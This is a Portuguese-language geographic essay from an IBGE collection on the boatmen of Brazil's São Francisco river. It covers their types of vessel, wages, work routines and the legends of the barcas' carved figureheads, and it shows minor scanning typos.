BARQUEIROS DO SAO FRANCISCO - percy lau

BARQUEIROS DO RIO SÃO FRANCISCO

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Tipos e aspectos do Brasil


Fonte: IBGE – Conselho Nacional de Geogragia. 8ª edição. Rio de Janeiro, 1966.

BARQUEIROS DO SÃO FRANCISCO

José Veríssimo da Costa Pereira

O S TIPOS sertanejos das margens do São Francisco não resultam apenas do caldeamento dos elementos que compuseram a população do vale do grande rio. Decorrem também dos diferentes “gêneros de vida” a que foram levadas aquelas populações ao entrarem em contacto com um meio físico diverso.

Se as condições do meio físico acabaram por definir — no tempo e no espaço — cada tipo social já esboçado pelas circunstâncias da economia da época, a sua estruturação resultou, no fundo, da função antropogeo-gráfica do rio, que o espírito de aventura cedo descobriu.

A posição da corrente, em face de regiões naturais bem caracterizadas do país, faz do rio um traço de união, no espaço. No tempo — considerando-se os trechos periféricos já povoados do litoral e os pontos extremos mais ou menos populados do sertão — o rio se impôs aos povoadores como caminho natural favorecido pela posição e pelas condições de sua hidrografia, logo aproveitado pela inteligência do homem, então, a braços com a necessidade de uma ligação ininterrupta e relativamente fácil entre aqueles núcleos demográficos ora importantes do interior.

Condensando populações a princípio: drenando depois essas mesmas populações, o rio, ao mesmo tempo que ajudou a resolver um grave problema de alimentação por ocasião do chamado “ciclo de ouro” em nossa história econômica, pela facilidade de transporte em suas águas e pelo aumento das massas humanas em suas margens, também se vai firmando” e cada vez mais, como autêntico rio da “unidade nacional”, que a História sempre demonstrou ser e a atual guerra veio confirmar, ao atingir em cheio as nossas plagas, revestida das circunstâncias dramáticas que não poderão, jamais, ser apagadas da memória.

Como via de navegação de vapor, o rio São Francisco possui, sem dúvida, rendimento inferior ao Paraná, no trecho pampeiro, por exemplo, ou, ao Amazonas, no norte, dado o pormenor, dentre outros, de sua grande sensibilidade ao fenômeno das secas. “Isso exige para o tráfego fluvial do grande rio mineiro-baiano, um tipo especial de embarcação com boca muito larga e bastante rasa de calado, conforme o modelo que o espírito prático do norte-americano criou para o Mississipi. Essa falta de observação das condições do curso d’água aliada à carência de uma indústria de construção náutica, fêz com que fosse cometido o erro de serem adquiridos para trafegar no São Francisco navios de comércio do Amazonas, gaiolas que, muito úteis no formidável curso d’água da Hiléia e seus afluentes, só podem entretanto trafegar no São Francisco durante o período das chuvas”. (Veríssimo e Várzea, “Geografia Humana”, p. 178, Liv. Alves, Rio de Janeiro, 1937).

Se no trecho de Santana do Sobradinho a Pirapora oferece o São Francisco 1 328 quilômetros de navegação franca, a ponto de constituir um aparelho de transporte interno, de caráter sui generis no planalto brasileiro, apto a promover — como salientou Morais Rêgo — o intercâmbio do centro e do oeste de Minas Gerais com o oeste e o centro da Bahia mais a região interior do Nordeste, dado o seu isolamento da costa, as demais secções apresentam, com freqüência, rápidos e corredeiras que dificultam sobremaneira a navegação.

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Ilustração de Percy Lau

A praticabilidade e o desenvolvimento desta teriam que ser fatalmente resolvidos, no início do povoamento, ainda mesmo depois como foram, não apenas pela inteligência mas, outrossim, pelo continuado esforço dos povoadores dentro das contingências da época e dos parcos recursos de sua técnica e economia. A solução somente poderia ser encontrada, como foi, à custa de duras, mas sempre proveitosas lições de uma prolongada experiência num meio diferente, à sombra das qualidades náuticas avoengas. A canoa surgiu, assim, como a embarcação número um, que havia de resolver o problema e estreitamente se vincular, como após se vinculou, à vida no grande rio. Apareceria finalmente para se firmar como verdadeira “unidade de agrupamento” que aliás tem sido, pelo menos até agora. Sobretudo, para o tipo do ribeirinho que, em míseros casebres, erguidos fora do alcance das enchentes, vegeta em função do rio, levando, nos “barrancos”, um “padrão de vida” sujeito às vicissitudes impostas pelas condições especiais do manhoso curso d’água e à irregularidade de seu regime.

A incrível variedade de embarcações atualmente existentes no São Francisco — de que o complexo paisagístico, ao lado, procura dar idéia geral — encontra, pois, sua explicação, em boa parte, na própria variedade dos elementos étnicos povoadores, de que dois — portugueses e tupis — foram preponderantes e, por sinal, grandes navegadores.

Cada tipo de embarcação não deixa, entretanto, de estar em relação também com certas particularidades das diferentes secções por que se divide o rio para o efeito da navegação. Se em qualquer uma delas, pode a canoa ser utilizada, com maior ou menor esforço, é certo, porém, que o “ajoujo” — reunião de duas ou três delas — constitui o sistema preferido para a travessia rudimentar das “corredeiras”. Trata-se, além do mais, de um meio de transporte já um tanto evolvido, que pela própria forma, modo e material de que é feito, reflete, à maravilha, o acordo recíproco do homem e da natureza, numa região de “corredeiras caatingas e criatório”.

Efetivamente o “ajoujo” resulta da união de duas ou três canoas que se ligam mediante paus roliços, que às mesmas se amarram com alças ou tiras de couro cru.

A vida pastoril e a de embarcadiço fluvial (de que os melhores exemplos são os “remeiros” e “barqueiros” do São Francisco), completaram-se e fundiram-se no tipo do sertanejo de características próprias tendo como uma das modalidades o nomadismo inveterado ao longo do rio, ou por sobre as terras marginais daquele curso d’água e afluentes. Um desses tipos, o “remeiro”, é singular personagem surgindo do cruzamento, entre si, dos elementos mais humildes, já afeitos à vida profissional nas águas do grande rio, ou, então, de agricultores das “vazantes”, “agregados” e “camaradas” das fazendas de plantação.

Teodoro Sampaio que navegou em “ajoujo”, rio acima, à força de varas, descreveu no O Rio São Francisco e a Chapada Diamantina, o tipo e o modo de trabalho dos “remeiros” suando na viagem de Atalho para Boa Vista e Capim Grosso, a embarcação abicou para a terra, perdendo o caminho andado, após um desfile triunfal, à vela, em meio a uma paisagem de caatinga, dominada, ao fundo, pelas linhas caprichosas do relevo; “Os

homens seminus que cantam a sua cantiga monótona de barqueiros, e vão e voltam, levando as suas varas longas e ferradas, jogando-as firmes, certas, n’água, os peitos apoiados sobre elas tremendo sob o impulso dos músculos retesados, enquanto debaixo dos seus pés e impelida por estes a embarcação caminha de encontro à corrente…”; — “todos os matizes da população policrômica da nossa terra. O caboclo legítimo, o negro crioulo, o curiboca, misto de negro e de índio, o cabra, o mulato, o branco tostado de cabelos castanhos e às vezes ruivos…”

Mas fora de canoas e “ajoujos”, há também, balsas e paquetes, barcas e vapores, do tipo “gaiola” ou de fundo raso, “de prato”…

A canoa grande denominada “paquete” pelos remeiros, exerce função mais ampla do que a normal, utilizada que é no transporte de mantimentos, formando cargas de quarenta e até cinqüenta sacos de mercadorias.

Alguns são de propriedade das companhias de navegação que os empregam para conduzir o excesso de carga deixada pelos vapores nas praias, quando precisam aliviar a demasia do peso na zona das “corredeiras”.

Muitas vezes ajudam também a passagem dos vapores pelos “rápidos”, pois com suas grandes velas, lembrando a forma de uma grande borboleta, conseguem desenvolver força superior à produzida pelos motores alimentados a lenha.

Contando, pelo menos nos casos ordinários, dois trabalhadores — o “piloto” e o proeiro são os paquetes, embarcações de vela, ainda do tipo pequeno, mas de real utilidade na travessia do rio em Juazeiro, Própria e tantas outras cidades das margens são-franciscanas.

Já as “balsas” — espécie de jangadas sem velas — porém grandes embarcações de talos de buriti tendo cobertura de couro, são mais freqüentes no rio Preto, afluente baiano da margem esquerda.

A todos os tipos de embarcação apontados, exceto o vapor, se sobrelevam, contudo, as barcas, cuja existência no São Francisco parece datar do fim do século XVII, a prevalecerem semelhanças com as que se fazem referências nas Memórias Históricas da Província de Pernambuco, de José Fernandes Gama, 1884.

De tamanhos variados, as barcas podem ter de 60 a 105 palmos de comprimento por 12 a 16 de largura e navegam, muitas vezes, a vela.

Na falta de vento, a navegação faz-se a “remo” ou “vara” mas de qualquer maneira, realizam tráfego intenso, quer no alto, quer no baixo curso do São Francisco.

É o mais poderoso meio de transporte no grande rio, depois do vapor. A barca é uma “verdadeira casa flutuante com o seu toldo de palha e a proa recurva”. Em rigor, pelo que escreveu o almirante Antônio Câmara (Ensaio sobre as Construções Navais Indígenas do Brasil p. 169, segunda edição ilustrada, 1937, Comp. Editora Nacional, São Paulo) no alto São Francisco chamam barcas “a uma espécie de alvarengas grandes, com toldos de carnaúba, couro cru, ou madeira na proa, popa e meia nau, sendo que o da popa, chamado “camarote”, é semelhante à dos barcos da Bahia e tem assoalho, as outras destinadas às cargas não têm, e aí o porão é aberto. Os pranchões, ou cintados dessas embarcações, onde varejam os “barqueiros”, ou “vareiros”, são chamados “coxias”. As varas empregadas nesse- mister têm de 5 a 6 metros de comprimento e são ferradas em uma das extremidades.

A maior parte do transporte dos artigos de exportação é realizada pelas barcas, as quais, de volta, de retorno de suas viagens, vêm carregadas, na época normal, de mercadorias grossas, estivas, principalmente sal, como observou Morais Rêgo (O Vale do São Francisco, Ensaio de Monografia

Geográfica Regional”), separata da Revista do Museu Paulista da Universidade de São Paulo, pp. 491-706, 1936, São Paulo, capítulo X.

Ãs barcas realizam efetivamente tráfego intenso e podem vencer distância de 20 a 30 quilômetros por dia, caso o tempo, a carga e as condições do rio o permitirem.

No médio São Francisco, entre Paulo Afonso e Pirapora, as barcas possuem o calado reduzido e apresentam feitio um tanto alongado e bojudo, com a sua proa arqueada trazendo na popa, o “murundu”, uma tolda, singela coberta de uns 10 a 14 palmos de comprimento e de largura em proporção com a da própria barca a que serve. É de uma plataforma colocada acima da cobertura que o prático, ou seja, o timoneiro, realiza o manejo da barra do leme, de pé, por sobre a mesma.

No baixo São Francisco, as barcas, além de maiores, quanto às dimensões e ao calado, possuem dois ou maior número de mastros. Outro-tanto, duas câmaras, uma a meia nau e outra à proa.

Já na segunda metade do século XIX fizera Halfeld a descrição precisa dos tipos de embarcação do São Francisco e mencionara o respectivo pessoal necessário. Nas barcas o número de pessoas empregadas pode variar entre seis e doze, para os “remos” e “varas” e mais um piloto. Nelas a grandeza dos “remos dependia do tamanho de cada qual e dos das “varas”. Algumas destas chegavam a ter de trinta a trinta e cinco palmos de comprimento sendo, portento, maiores do que as empregadas nos “ajoujos”, que possuem de vinte e dois a trinta palmos para uma espessura de umas duas polegadas.

Na parte média e no curso superior do rio, a raridade do uso de velas está de acordo com os “fortes vendavais que na maior parte das estações do ano sopram através do rio e com refregas violentas produzindo “pés de vento” ou “redemoinhos”. (Halfeld, Atlas e Relatório Concernente à Exploração do R’o São Francisco, 1860, Litografia Imperial, Eduardo Rensburg, Rio de Janeiro).

Entre Marechal Floriano e o oceano, as velas são, entretanto, muito empregadas, sobretudo quando os fortes ventos, de suleste para nordeste, favorecem a navegação na subida do rio, ao começarem a soprar do mar para a terra, diariamente, a partir das noves horas da manhã.

Viajando pelo São Francisco mineiro, em 1925, Noraldino Lima descreveu um flagrante expressivo do que representa a barca na vida do São Francisco: “Além do piloto, que em regra, leva nas viagens a família consigo — a exemplo do que se dá nos rios belgas em que famílias inteiras nascem, vivem e morrem na barca — esta tem o proeiro, que é o imediato e barqueiros contratados por viagem. De Januário a Pirapora, por exemplo, ganha cada um 50 cruzeiros, fornecendo o dono da barca a alimentação”.

Desde o tempo de Halfeld já era esse o sistema usado no ajuste do serviço dos “barqueiros”. Ainda hoje prevalece o da convenção entre os interessados e por “travessia”, tendo variado apenas o preço dos serviços. O professor Orlando Valverde verificou, por exemplo, que um “remeiro”, ganhava, em 1943, 300 cruzeiros para realizar a subida do rio, durante três meses, entre Juazeiro e Santa Maria do Rio Corrente.

Ao tempo de Halfeld um bom “barqueiro” ganhava CrS 10,00 para fazer a viagem da barra do rio das Velhas para o porto Salgado, e CrS 30,00 deste para o porto da Vila da Barra. De Vila da Barra a Juazeiro recebia CrS 25,00.

O sistema de centrato de trabalho por tempo de serviço foi também verificado por Orlando M. Carvalho, que encontrou, em 1936, “remeiros” de barcas particulares, ganhando 80 cruzeiros a 100 por viagem, entre

Juazeiro e Pirapora, que distam, entre si, 60 dias de viagem em barca. Em O Rio da Unidade Nacional — O São Francisco, Com. Editora Nacional, 1937), o referido autor descreveu o “regime de trabalho” dos remeiros e barqueiros numa barca do São Francisco: “Tocadas a vela quando há vento, são impulsionadas no resto do percurso de subida a varejão. Têm, em geral, entre 10 e 24 homens de varejão, cujo trabalho começa às 4 da manhã e acaba ao anoitecer. Não viajam à noite. Assim que escurece, aportam ao barranco e se faz o jantar. O homem de vigia é obrigado a sustentar o fogo, renovar a água do caldeirão da feijoada e retirar a água da barca. As barcas fazem água constantemente pelas juntas dos porões. De madrugada, comem a feijoada, às vezes, com arroz, e vão para o varejão. Ao meio dia, param meia hora e comem a jacuba, que consta de uma mistura de um quarto de rapadura e farinha à discrição. De noite é o jantar”.

Ainda não desapareceu de todo o costume de chamarem às barcas, os “vareiros” que acaso se encontrem ausentes dos portos, valendo-se de um instrumento de fôlha-de-flandres — o “búzio” —. Com o mesmo saúdam o encontro de outra barca e anunciam a chegada e a saída nos portos. Há mesmo, certo protocolo que atende à hierarquia das embarcações nesses cumprimentos dos embarcadiços. Uma barca que se preze não sai de sua dignidade para saudar — por exemplo — um “ajoujo”… Este, por sua vez, passa indiferente pela barca. Tais costumes vão, é verdade, perdendo muito do seu pitoresco devido à lei fatal da evolução. Na própria nomenclatura das embarcações há transformações na significação de termos e expressões relativas à vida fluvial. Acentua-se hoje a tendência para se denominar barcas às embarcações rebocadas pelos vapores, enquanto se vai aplicando o termo barco para designar as que navegam isoladamente sem auxílio de ambarcações mais poderosas. Pelo menos na secção mineira do São Francisco as alterações vão-se impondo com certa vertiginosidade, como observou, em 1943, o professor Orlando Valverde que lá esteve em companhia do professor Jorge Zarur.

Homens de vida rude, os “remeiros” formam as tripulações das barcas. Seu trabalho precípuo consiste no manejo da “vara”, ou “zinga”.

Alguns trazem no corpo a marca de seu penoso trabalho: chagas abertas no peito e calosidades produzidas pelas “varas” que eles apoiam no mesmo.

Em rigor, “barqueiro” é o próprio dono da barca. Mas dá-se também o nome de “barqueiro” ao preposto do proprietário, o qual costuma ser chamado, em alguns pontos, “encarregado” quando administra a embarcação .

Em rigor, “barqueiro” é o próprio dono da barca. Mas dá-se também o entender a todos os que trabalham nas barcas, desde o proprietário até o “remeiro” passando pelo “mestre” — são provenientes das localidades que se salientaram como centros importantes de navegação, ou daquelas cuja desorganização do trabalho teve a força suficiente para compelir os habitantes mais pobres a uma nova profissão.

A nota característica das barcas do São Francisco reside na proa recurva, terminada por uma cabeça de animal (touro, leão, ou animal fantástico) geralmente bem trabalhada, e indispensável na tradicional embarcação do rio brasileiro. Nessa figura de proa se encontra — para os “barqueiros” — a garantia da barca. A propósito da mesma, há inúmeras lendas. Uma delas diz, por exemplo, que a figura dá três gemidos ao ser inevitável o afundamento da barca.. . Mas em verdade, até hoje ainda não se conseguiu obter uma explicação segura para aqueles curiosos e sugestivos enfeites de proa.

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